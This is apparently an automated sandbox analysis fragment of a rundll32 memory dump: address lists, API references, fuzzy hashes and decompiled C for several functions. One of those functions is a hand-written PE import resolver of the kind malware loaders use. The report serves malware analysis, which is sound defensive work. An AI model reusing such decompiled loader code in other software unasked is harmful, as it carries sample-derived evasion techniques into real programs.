0x00f04958
0x00f0477c
0x00f04785
0x00f04793
0x00f04796
0x00f047b3
0x00f047ba
0x00f047cc
0x00f047cc
0x00f047d3
0x00f047e3
0x00f047fb
0x00f047e5
0x00f047ed
0x00f047ed
0x00f047fe
0x00f04802
0x00f04812
0x00f04835
0x00f04847
0x00f04814
0x00f04828
0x00f04828
0x00f04851
0x00f0486d
0x00f04853
0x00f04862
0x00f04862
0x00f04875
0x00f0487e
0x00f0487e
0x00f0488c
0x00000000
0x00f047d5
0x00f047d7
0x00000000
0x00f047d7
0x00f047d3
0x00000000
0x00f04796
0x00f04679
0x00f04687
0x00f0468c
0x00f04697
0x00f0469a
0x00f0469e
0x00f046a0
0x00f046b0
0x00f046b9
0x00f046c2
0x00f046ca
0x00f046d3
0x00f046de
0x00f046e4
0x00f046e7
0x00f046ea
0x00f046f1
0x00f046f8
0x00000000
0x00000000
0x00f04703
0x00f04711
0x00f0471c
0x00f04726
0x00f0473e
0x00f0474b
0x00f0474b
0x00f04728
0x00f04733
0x00f04733
0x00f04752
0x00f04752
0x00f0475a
0x00f0475a
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 00F047AD
LoadLibraryA.KERNEL32(00000000), ref: 00F047C6
GetProcAddress.KERNEL32(00000000,?), ref: 00F04822
GetProcAddress.KERNEL32(00000000,?), ref: 00F04841
lstrcmpA.KERNEL32(?,00000000), ref: 00F04932
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 00F0498F

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: AddressProc$CurrentHandleLibraryLoadModuleProcesslstrcmp
String ID:
API String ID: 2598995400-0
Opcode ID: 27c6c66cfd60eba53add34456f4e20ed05418f02afa6c884c8147c9146d9ef2b
Instruction ID: d6b9881787cd8b6aa843e856e42deb6ba138c2f202b538eeda34b0d556ef7003
Opcode Fuzzy Hash: 27c6c66cfd60eba53add34456f4e20ed05418f02afa6c884c8147c9146d9ef2b
Instruction Fuzzy Hash: 9DE1A1B5E00209DFCB14CFA8C985BADBBF1FF48314F248569EA15AB391D734A941EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00EFD2F3 Relevance: 9.1, APIs: 6, Instructions: 87memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 00EFD307
SysAllocString.OLEAUT32(?), ref: 00EFD30F
SysAllocString.OLEAUT32(00000000), ref: 00EFD323
SysFreeString.OLEAUT32(?), ref: 00EFD39E
SysFreeString.OLEAUT32(?), ref: 00EFD3A1
SysFreeString.OLEAUT32(?), ref: 00EFD3A6

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 530676f40eb40bb833420071af5aa643f79a4fcaea823b28fb3d2821de0c6968
Instruction ID: 4d1acd4509e57c20d64cb317e166ef3d946ff383f9d4a319ce499f1a85dbf3bc
Opcode Fuzzy Hash: 530676f40eb40bb833420071af5aa643f79a4fcaea823b28fb3d2821de0c6968
Instruction Fuzzy Hash: F321F9B590021CAFDB00DFA5CC88DAEBBBDEF48754B10449AF605E7250DA71AE01DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F0222E Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 158COMMON

Download Yara Rule

Strings

\u%04X\u%04X, xrefs: 00F02387
\u%04X, xrefs: 00F02348
@, xrefs: 00F0229C

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID:
String ID: @$\u%04X$\u%04X\u%04X
API String ID: 0-2132903582
Opcode ID: c9b05da5aca31a975379e557f42b3c20a48f3bfadb97a0c53085e904110a5f1d
Instruction ID: 11ad11e8a68d5720035f7ab4c15265b836ca883750c25714bf85a196278bd7c3
Opcode Fuzzy Hash: c9b05da5aca31a975379e557f42b3c20a48f3bfadb97a0c53085e904110a5f1d
Instruction Fuzzy Hash: 8741E632E00205E7EF654D9D8D9EBBE7B18DF45320F240025FD46DA2C5D269CD91B6B2

Uniqueness

Uniqueness Score: -1.00%

Function 00F03BFE Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 85
stringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00F03BFE(void* __edi, char* _a4, intOrPtr _a8, long long _a12, signed int _a20) {
				signed int _t12;
				signed int _t13;
				signed int _t23;
				void* _t30;
				char* _t31;
				char* _t33;
				char* _t35;
				char* _t37;
				char* _t38;
				long long* _t40;

				_t30 = __edi;
				_t12 = _a20;
				if(_t12 == 0) {
					_t12 = 0x11;
				}
				_t35 = _a4;
				_push(_t25);
				 *_t40 = _a12;
				_push(_t12);
				_push("%.*g");
				_push(_a8);
				_push(_t35);
				L00F03D57();
				_t23 = _t12;
				if(_t23 < 0 || _t23 >= _a8) {
					L16:
					_t13 = _t12 | 0xffffffff;
					goto L17;
				} else {
					E00F03BD7(_t12, _t35);
					if(strchr(_t35, 0x2e) != 0 || strchr(_t35, 0x65) != 0) {
						L8:
						_push(_t30);
						_t37 = strchr(_t35, 0x65);
						_t31 = _t37;
						if(_t37 == 0) {
							L15:
							_t13 = _t23;
							L17:
							return _t13;
						}
						_t38 = _t37 + 1;
						_t33 = _t31 + 2;
						if( *_t38 == 0x2d) {
							_t38 = _t33;
						}
						while( *_t33 == 0x30) {
							_t33 = _t33 + 1;
						}
						if(_t33 != _t38) {
							E00EF9227(_t38, _t33, _t23 - _t33 + _a4);
							_t23 = _t23 + _t38 - _t33;
						}
						goto L15;
					} else {
						_t6 = _t23 + 3; // 0xf023e9
						_t12 = _t6;
						if(_t12 >= _a8) {
							goto L16;
						}
						_t35[_t23] = 0x302e;
						( &(_t35[2]))[_t23] = 0;
						_t23 = _t23 + 2;
						goto L8;
					}
				}
			}

0x00f03bfe
0x00f03c01
0x00f03c06
0x00f03c0a
0x00f03c0a
0x00f03c10
0x00f03c14
0x00f03c15
0x00f03c18
0x00f03c19
0x00f03c1e
0x00f03c21
0x00f03c22
0x00f03c27
0x00f03c2e
0x00f03cb7
0x00f03cb7
0x00000000
0x00f03c39
0x00f03c3a
0x00f03c4c
0x00f03c72
0x00f03c72
0x00f03c7b
0x00f03c7d
0x00f03c83
0x00f03cb2
0x00f03cb2
0x00f03cba
0x00f03cbd
0x00f03cbd
0x00f03c85
0x00f03c86
0x00f03c8c
0x00f03c8e
0x00f03c8e
0x00f03c93
0x00f03c92
0x00f03c92
0x00f03c9a
0x00f03ca6
0x00f03cb0
0x00f03cb0
0x00000000
0x00f03c5c
0x00f03c5c
0x00f03c5c
0x00f03c62
0x00000000
0x00000000
0x00f03c64
0x00f03c6a
0x00f03c6f
0x00000000
0x00f03c6f
0x00f03c4c

APIs

_snprintf.MSVCRT ref: 00F03C22
strchr.MSVCRT ref: 00F03C42
strchr.MSVCRT ref: 00F03C51
strchr.MSVCRT ref: 00F03C76

Strings

%.*g, xrefs: 00F03C19

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: strchr$_snprintf
String ID: %.*g
API String ID: 3619936089-952554281
Opcode ID: 084ba18aae971e60714f06261fb73758c7663c7b2a82537b8a5e805e91f581b3
Instruction ID: cc45fb22deb3df78ae8475398cf63847026aa25aa483b6d7ae7e0f6a47b53e0f
Opcode Fuzzy Hash: 084ba18aae971e60714f06261fb73758c7663c7b2a82537b8a5e805e91f581b3
Instruction Fuzzy Hash: FB213A32A0166566FB315F189C86FAB37CC9F51324F198525FC44E62C1E7A4AF4473D2

Uniqueness

Uniqueness Score: -1.00%

Function 00F03D9F Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 151
libraryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00F03D9F(signed int __eax, void* __ecx, intOrPtr _a4) {
				intOrPtr* _v8;
				signed int* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				intOrPtr _v40;
				signed int _v44;
				struct HINSTANCE__* _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _t109;
				signed int _t112;
				signed int _t115;
				void* _t163;
				void* _t167;

				_t167 = __ecx;
				_v44 = _v44 & 0x00000000;
				if(_a4 != 0) {
					_v48 = GetModuleHandleA("kernel32.dll");
					_v40 = E00EF93DC(_t167, _v48, "GetProcAddress");
					_v52 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
					_v32 = _v52;
					_t109 = 8;
					if( *((intOrPtr*)(_v32 + (_t109 << 0) + 0x78)) == 0) {
						L24:
						return 0;
					}
					_v56 = 0x80000000;
					_t112 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t112 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_v8 = _v8 + 0x14;
					}
					_t115 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t115 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_t34 = _v8 + 0xc; // 0xffff
						_v36 = LoadLibraryA( *_t34 + _a4);
						if(_v36 != 0) {
							if( *_v8 == 0) {
								_t43 = _v8 + 0x10; // 0xb8
								_v12 =  *_t43 + _a4;
							} else {
								_v12 =  *_v8 + _a4;
							}
							_v28 = _v28 & 0x00000000;
							while( *_v12 != 0) {
								_v24 = _v24 & 0x00000000;
								_v16 = _v16 & 0x00000000;
								_v64 = _v64 & 0x00000000;
								_v20 = _v20 & 0x00000000;
								if(( *_v12 & _v56) == 0) {
									_v60 =  *_v12 + _a4;
									_v20 = _v60 + 2;
									_t73 = _v8 + 0x10; // 0xb8
									_v24 =  *((intOrPtr*)( *_t73 + _a4 + _v28));
									_v16 = _v40(_v36, _v20);
								} else {
									_v24 =  *_v12;
									_v20 = _v24 & 0x0000ffff;
									_v16 = _v40(_v36, _v20);
								}
								if(_v24 != _v16) {
									_v44 = _v44 + 1;
									if( *((intOrPtr*)(_v8 + 0x10)) == 0) {
										 *_v12 = _v16;
									} else {
										_t89 = _v8 + 0x10; // 0xb8
										 *( *_t89 + _a4 + _v28) = _v16;
									}
								}
								_v12 =  &(_v12[1]);
								_v28 = _v28 + 4;
							}
							_v8 = _v8 + 0x14;
							continue;
						}
						_t163 = 0xfffffffd;
						return _t163;
					}
					goto L24;
				}
				return __eax | 0xffffffff;
			}

0x00f03d9f
0x00f03da5
0x00f03dad
0x00f03dc2
0x00f03dd4
0x00f03de0
0x00f03de6
0x00f03deb
0x00f03df7
0x00f03f62
0x00000000
0x00f03f62
0x00f03dfd
0x00f03e06
0x00f03e14
0x00f03e17
0x00f03e26
0x00f03e26
0x00f03e2d
0x00f03e3b
0x00f03e3e
0x00f03e4e
0x00f03e5b
0x00f03e62
0x00f03e72
0x00f03e84
0x00f03e8a
0x00f03e74
0x00f03e7c
0x00f03e7c
0x00f03e8d
0x00f03e91
0x00f03e9d
0x00f03ea1
0x00f03ea5
0x00f03ea9
0x00f03eb5
0x00f03ee0
0x00f03ee8
0x00f03eee
0x00f03efa
0x00f03f06
0x00f03eb7
0x00f03ebc
0x00f03ec7
0x00f03ed3
0x00f03ed3
0x00f03f0f
0x00f03f15
0x00f03f1f
0x00f03f3b
0x00f03f21
0x00f03f24
0x00f03f30
0x00f03f30
0x00f03f1f
0x00f03f43
0x00f03f4c
0x00f03f4c
0x00f03f5a
0x00000000
0x00f03f5a
0x00f03e66
0x00000000
0x00f03e66
0x00000000
0x00f03e3e
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00F03DBC
LoadLibraryA.KERNEL32(00000000), ref: 00F03E55

Strings

kernel32.dll, xrefs: 00F03DB7
GetProcAddress, xrefs: 00F03DC5

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: HandleLibraryLoadModule
String ID: GetProcAddress$kernel32.dll
API String ID: 4133054770-1584408056
Opcode ID: de948be8f42fa7f6e718e297ad01bfc65652052bd166bfff958369a8f7e00189
Instruction ID: 52cd1948555a789df16f5245107c07cee591cf8f19f152335d3799808960f1e6
Opcode Fuzzy Hash: de948be8f42fa7f6e718e297ad01bfc65652052bd166bfff958369a8f7e00189
Instruction Fuzzy Hash: 49618E75D00209EFDB04CF98C985BADBBF5FF08325F248599E815AB291D374AA84EF50

Uniqueness

Uniqueness Score: -1.00%

Function 00F04BF0 Relevance: 6.6, APIs: 5, Instructions: 341
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00F04BF0(int _a4, signed int _a8) {
				int _v8;
				intOrPtr _v12;
				signed int _v16;
				void* __esi;
				void* _t137;
				signed int _t141;
				intOrPtr* _t142;
				signed int _t145;
				signed int _t146;
				intOrPtr _t151;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t167;
				intOrPtr _t170;
				signed int _t172;
				intOrPtr _t173;
				int _t184;
				intOrPtr _t185;
				intOrPtr _t188;
				signed int _t189;
				void* _t195;
				int _t202;
				int _t208;
				intOrPtr _t217;
				signed int _t218;
				int _t219;
				intOrPtr _t220;
				signed int _t221;
				signed int _t222;
				int _t224;
				int _t225;
				signed int _t227;
				intOrPtr _t228;
				int _t232;
				int _t234;
				signed int _t235;
				int _t239;
				void* _t240;
				int _t245;
				int _t252;
				signed int _t253;
				int _t254;
				void* _t257;
				void* _t258;
				int _t259;
				intOrPtr _t260;
				int _t261;
				signed int _t269;
				signed int _t271;
				intOrPtr* _t272;
				void* _t273;

				_t253 = _a8;
				_t272 = _a4;
				_t3 = _t272 + 0xc; // 0x452bf84d
				_t4 = _t272 + 0x2c; // 0x8df075ff
				_t228 =  *_t4;
				_t137 =  *_t3 + 0xfffffffb;
				_t229 =  <=  ? _t137 : _t228;
				_v16 =  <=  ? _t137 : _t228;
				_t269 = 0;
				_a4 =  *((intOrPtr*)( *_t272 + 4));
				asm("o16 nop [eax+eax]");
				while(1) {
					_t8 = _t272 + 0x16bc; // 0x40f8458b
					_t141 =  *_t8 + 0x2a >> 3;
					_v12 = 0xffff;
					_t217 =  *((intOrPtr*)( *_t272 + 0x10));
					if(_t217 < _t141) {
						break;
					}
					_t11 = _t272 + 0x6c; // 0xf10fd8a1
					_t12 = _t272 + 0x5c; // 0x54e85000
					_t245 =  *_t11 -  *_t12;
					_v8 = _t245;
					_t195 =  *((intOrPtr*)( *_t272 + 4)) + _t245;
					_t247 =  <  ? _t195 : _v12;
					_t227 =  <=  ?  <  ? _t195 : _v12 : _t217 - _t141;
					if(_t227 >= _v16) {
						L7:
						if(_t253 != 4) {
							L10:
							_t269 = 0;
							__eflags = 0;
						} else {
							_t285 = _t227 - _t195;
							if(_t227 != _t195) {
								goto L10;
							} else {
								_t269 = _t253 - 3;
							}
						}
						E00F07C10(_t272, _t272, 0, 0, _t269);
						_t18 = _t272 + 0x14; // 0xc703f045
						_t19 = _t272 + 8; // 0x8d000040
						 *( *_t18 +  *_t19 - 4) = _t227;
						_t22 = _t272 + 0x14; // 0xc703f045
						_t23 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t22 +  *_t23 - 3)) = _t227 >> 8;
						_t26 = _t272 + 0x14; // 0xc703f045
						_t27 = _t272 + 8; // 0x8d000040
						 *( *_t26 +  *_t27 - 2) =  !_t227;
						_t30 = _t272 + 0x14; // 0xc703f045
						_t31 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t30 +  *_t31 - 1)) =  !_t227 >> 8;
						E00F06970(_t285,  *_t272);
						_t202 = _v8;
						_t273 = _t273 + 0x14;
						if(_t202 != 0) {
							_t208 =  >  ? _t227 : _t202;
							_v8 = _t208;
							_t36 = _t272 + 0x38; // 0xf47d8bff
							_t37 = _t272 + 0x5c; // 0x54e85000
							memcpy( *( *_t272 + 0xc),  *_t36 +  *_t37, _t208);
							_t273 = _t273 + 0xc;
							_t252 = _v8;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t252;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t252;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t252;
							 *(_t272 + 0x5c) =  *(_t272 + 0x5c) + _t252;
							_t227 = _t227 - _t252;
						}
						if(_t227 != 0) {
							E00F06AB0( *_t272,  *( *_t272 + 0xc), _t227);
							_t273 = _t273 + 0xc;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t227;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t227;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t227;
						}
						_t253 = _a8;
						if(_t269 == 0) {
							continue;
						}
					} else {
						if(_t227 != 0 || _t253 == 4) {
							if(_t253 != 0 && _t227 == _t195) {
								goto L7;
							}
						}
					}
					break;
				}
				_t142 =  *_t272;
				_t232 = _a4 -  *((intOrPtr*)(_t142 + 4));
				_a4 = _t232;
				if(_t232 == 0) {
					_t83 = _t272 + 0x6c; // 0xf10fd8a1
					_t254 =  *_t83;
				} else {
					_t59 = _t272 + 0x2c; // 0x8df075ff
					_t224 =  *_t59;
					if(_t232 < _t224) {
						_t65 = _t272 + 0x3c; // 0x830cc483
						_t66 = _t272 + 0x6c; // 0xf10fd8a1
						_t260 =  *_t66;
						__eflags =  *_t65 - _t260 - _t232;
						if( *_t65 - _t260 <= _t232) {
							_t67 = _t272 + 0x38; // 0xf47d8bff
							_t261 = _t260 - _t224;
							 *(_t272 + 0x6c) = _t261;
							memcpy( *_t67,  *_t67 + _t224, _t261);
							_t70 = _t272 + 0x16b0; // 0x1488087d
							_t188 =  *_t70;
							_t273 = _t273 + 0xc;
							_t232 = _a4;
							__eflags = _t188 - 2;
							if(_t188 < 2) {
								_t189 = _t188 + 1;
								__eflags = _t189;
								 *(_t272 + 0x16b0) = _t189;
							}
						}
						_t73 = _t272 + 0x38; // 0xf47d8bff
						_t74 = _t272 + 0x6c; // 0xf10fd8a1
						memcpy( *_t73 +  *_t74,  *((intOrPtr*)( *_t272)) - _t232, _t232);
						_t225 = _a4;
						_t273 = _t273 + 0xc;
						_t76 = _t272 + 0x6c;
						 *_t76 =  *(_t272 + 0x6c) + _t225;
						__eflags =  *_t76;
						_t78 = _t272 + 0x6c; // 0xf10fd8a1
						_t184 =  *_t78;
						_t79 = _t272 + 0x2c; // 0x8df075ff
						_t239 =  *_t79;
					} else {
						 *(_t272 + 0x16b0) = 2;
						_t61 = _t272 + 0x38; // 0xf47d8bff
						memcpy( *_t61,  *_t142 - _t224, _t224);
						_t62 = _t272 + 0x2c; // 0x8df075ff
						_t184 =  *_t62;
						_t273 = _t273 + 0xc;
						_t225 = _a4;
						_t239 = _t184;
						 *(_t272 + 0x6c) = _t184;
					}
					_t254 = _t184;
					 *(_t272 + 0x5c) = _t184;
					_t81 = _t272 + 0x16b4; // 0xff4d8a39
					_t185 =  *_t81;
					_t240 = _t239 - _t185;
					_t241 =  <=  ? _t225 : _t240;
					_t242 = ( <=  ? _t225 : _t240) + _t185;
					 *((intOrPtr*)(_t272 + 0x16b4)) = ( <=  ? _t225 : _t240) + _t185;
				}
				if( *(_t272 + 0x16c0) < _t254) {
					 *(_t272 + 0x16c0) = _t254;
				}
				if(_t269 == 0) {
					_t218 = _a8;
					__eflags = _t218;
					if(_t218 == 0) {
						L34:
						_t89 = _t272 + 0x3c; // 0x830cc483
						_t219 =  *_t272;
						_t145 =  *_t89 - _t254 - 1;
						_a4 =  *_t272;
						_t234 = _t254;
						_v16 = _t145;
						_v8 = _t254;
						__eflags =  *((intOrPtr*)(_t219 + 4)) - _t145;
						if( *((intOrPtr*)(_t219 + 4)) > _t145) {
							_v8 = _t254;
							_t95 = _t272 + 0x5c; // 0x54e85000
							_a4 = _t219;
							_t234 = _t254;
							_t97 = _t272 + 0x2c; // 0x8df075ff
							__eflags =  *_t95 -  *_t97;
							if( *_t95 >=  *_t97) {
								_t98 = _t272 + 0x2c; // 0x8df075ff
								_t167 =  *_t98;
								_t259 = _t254 - _t167;
								_t99 = _t272 + 0x38; // 0xf47d8bff
								 *(_t272 + 0x5c) =  *(_t272 + 0x5c) - _t167;
								 *(_t272 + 0x6c) = _t259;
								memcpy( *_t99, _t167 +  *_t99, _t259);
								_t103 = _t272 + 0x16b0; // 0x1488087d
								_t170 =  *_t103;
								_t273 = _t273 + 0xc;
								__eflags = _t170 - 2;
								if(_t170 < 2) {
									_t172 = _t170 + 1;
									__eflags = _t172;
									 *(_t272 + 0x16b0) = _t172;
								}
								_t106 = _t272 + 0x2c; // 0x8df075ff
								_t145 = _v16 +  *_t106;
								__eflags = _t145;
								_a4 =  *_t272;
								_t108 = _t272 + 0x6c; // 0xf10fd8a1
								_t234 =  *_t108;
								_v8 = _t234;
							}
						}
						_t255 = _a4;
						_t220 =  *((intOrPtr*)(_a4 + 4));
						__eflags = _t145 - _t220;
						_t221 =  <=  ? _t145 : _t220;
						_t146 = _t221;
						_a4 = _t221;
						_t222 = _a8;
						__eflags = _t146;
						if(_t146 != 0) {
							_t114 = _t272 + 0x38; // 0xf47d8bff
							E00F06AB0(_t255,  *_t114 + _v8, _t146);
							_t273 = _t273 + 0xc;
							_t117 = _t272 + 0x6c;
							 *_t117 =  *(_t272 + 0x6c) + _a4;
							__eflags =  *_t117;
							_t119 = _t272 + 0x6c; // 0xf10fd8a1
							_t234 =  *_t119;
						}
						__eflags =  *(_t272 + 0x16c0) - _t234;
						if( *(_t272 + 0x16c0) < _t234) {
							 *(_t272 + 0x16c0) = _t234;
						}
						_t122 = _t272 + 0x16bc; // 0x40f8458b
						_t123 = _t272 + 0xc; // 0x452bf84d
						_t257 =  *_t123 - ( *_t122 + 0x2a >> 3);
						__eflags = _t257 - 0xffff;
						_t258 =  >  ? 0xffff : _t257;
						_t124 = _t272 + 0x2c; // 0x8df075ff
						_t151 =  *_t124;
						_t125 = _t272 + 0x5c; // 0x54e85000
						_t235 = _t234 -  *_t125;
						__eflags = _t258 - _t151;
						_t152 =  <=  ? _t258 : _t151;
						__eflags = _t235 - ( <=  ? _t258 : _t151);
						if(_t235 >= ( <=  ? _t258 : _t151)) {
							L49:
							__eflags = _t235 - _t258;
							_t154 =  >  ? _t258 : _t235;
							_a4 =  >  ? _t258 : _t235;
							__eflags = _t222 - 4;
							if(_t222 != 4) {
								L53:
								_t269 = 0;
								__eflags = 0;
							} else {
								_t161 =  *_t272;
								__eflags =  *(_t161 + 4);
								_t154 = _a4;
								if( *(_t161 + 4) != 0) {
									goto L53;
								} else {
									__eflags = _t154 - _t235;
									if(_t154 != _t235) {
										goto L53;
									} else {
										_t269 = _t222 - 3;
									}
								}
							}
							_t131 = _t272 + 0x38; // 0xf47d8bff
							_t132 = _t272 + 0x5c; // 0x54e85000
							E00F07C10(_t272, _t272,  *_t131 +  *_t132, _t154, _t269);
							_t134 = _t272 + 0x5c;
							 *_t134 =  *(_t272 + 0x5c) + _a4;
							__eflags =  *_t134;
							E00F06970( *_t134,  *_t272);
						} else {
							__eflags = _t235;
							if(_t235 != 0) {
								L46:
								__eflags = _t222;
								if(_t222 != 0) {
									_t162 =  *_t272;
									__eflags =  *(_t162 + 4);
									if( *(_t162 + 4) == 0) {
										__eflags = _t235 - _t258;
										if(_t235 <= _t258) {
											goto L49;
										}
									}
								}
							} else {
								__eflags = _t222 - 4;
								if(_t222 == 4) {
									goto L46;
								}
							}
						}
						asm("sbb edi, edi");
						_t271 =  ~_t269 & 0x00000002;
						__eflags = _t271;
						return _t271;
					} else {
						__eflags = _t218 - 4;
						if(_t218 == 4) {
							goto L34;
						} else {
							_t173 =  *_t272;
							__eflags =  *(_t173 + 4);
							if( *(_t173 + 4) != 0) {
								goto L34;
							} else {
								_t88 = _t272 + 0x5c; // 0x54e85000
								__eflags = _t254 -  *_t88;
								if(_t254 !=  *_t88) {
									goto L34;
								} else {
									return 1;
								}
							}
						}
					}
				} else {
					return 3;
				}
			}

0x00f04bf6
0x00f04bfb
0x00f04bff
0x00f04c02
0x00f04c02
0x00f04c05
0x00f04c0a
0x00f04c0f
0x00f04c12
0x00f04c17
0x00f04c1a
0x00f04c20
0x00f04c20
0x00f04c2b
0x00f04c2e
0x00f04c35
0x00f04c3a
0x00000000
0x00000000
0x00f04c40
0x00f04c45
0x00f04c45
0x00f04c4a
0x00f04c50
0x00f04c5a
0x00f04c5f
0x00f04c65
0x00f04c84
0x00f04c87
0x00f04c92
0x00f04c92
0x00f04c92
0x00f04c89
0x00f04c89
0x00f04c8b
0x00000000
0x00f04c8d
0x00f04c8d
0x00f04c8d
0x00f04c8b
0x00f04c9a
0x00f04c9f
0x00f04ca4
0x00f04caa
0x00f04cae
0x00f04cb1
0x00f04cb4
0x00f04cba
0x00f04cbf
0x00f04cc2
0x00f04cc8
0x00f04ccd
0x00f04cd3
0x00f04cd9
0x00f04cde
0x00f04ce1
0x00f04ce6
0x00f04cea
0x00f04cee
0x00f04cf1
0x00f04cf4
0x00f04cfd
0x00f04d04
0x00f04d07
0x00f04d0a
0x00f04d0f
0x00f04d14
0x00f04d17
0x00f04d1a
0x00f04d1a
0x00f04d1e
0x00f04d27
0x00f04d2e
0x00f04d31
0x00f04d36
0x00f04d3b
0x00f04d3b
0x00f04d3e
0x00f04d43
0x00000000
0x00000000
0x00f04c67
0x00f04c69
0x00f04c76
0x00000000
0x00000000
0x00f04c76
0x00f04c69
0x00000000
0x00f04c65
0x00f04d49
0x00f04d4e
0x00f04d51
0x00f04d54
0x00f04dff
0x00f04dff
0x00f04d5a
0x00f04d5a
0x00f04d5a
0x00f04d5f
0x00f04d89
0x00f04d8c
0x00f04d8c
0x00f04d91
0x00f04d93
0x00f04d95
0x00f04d98
0x00f04d9b
0x00f04da3
0x00f04da8
0x00f04da8
0x00f04dae
0x00f04db1
0x00f04db4
0x00f04db7
0x00f04db9
0x00f04db9
0x00f04dba
0x00f04dba
0x00f04db7
0x00f04dc8
0x00f04dcb
0x00f04dcf
0x00f04dd4
0x00f04dd7
0x00f04dda
0x00f04dda
0x00f04dda
0x00f04ddd
0x00f04ddd
0x00f04de0
0x00f04de0
0x00f04d61
0x00f04d61
0x00f04d71
0x00f04d74
0x00f04d79
0x00f04d79
0x00f04d7c
0x00f04d7f
0x00f04d82
0x00f04d84
0x00f04d84
0x00f04de3
0x00f04de5
0x00f04de8
0x00f04de8
0x00f04dee
0x00f04df2
0x00f04df5
0x00f04df7
0x00f04df7
0x00f04e08
0x00f04e0a
0x00f04e0a
0x00f04e12
0x00f04e20
0x00f04e23
0x00f04e25
0x00f04e45
0x00f04e45
0x00f04e48
0x00f04e4e
0x00f04e4f
0x00f04e52
0x00f04e54
0x00f04e57
0x00f04e5a
0x00f04e5d
0x00f04e61
0x00f04e64
0x00f04e67
0x00f04e6a
0x00f04e6c
0x00f04e6c
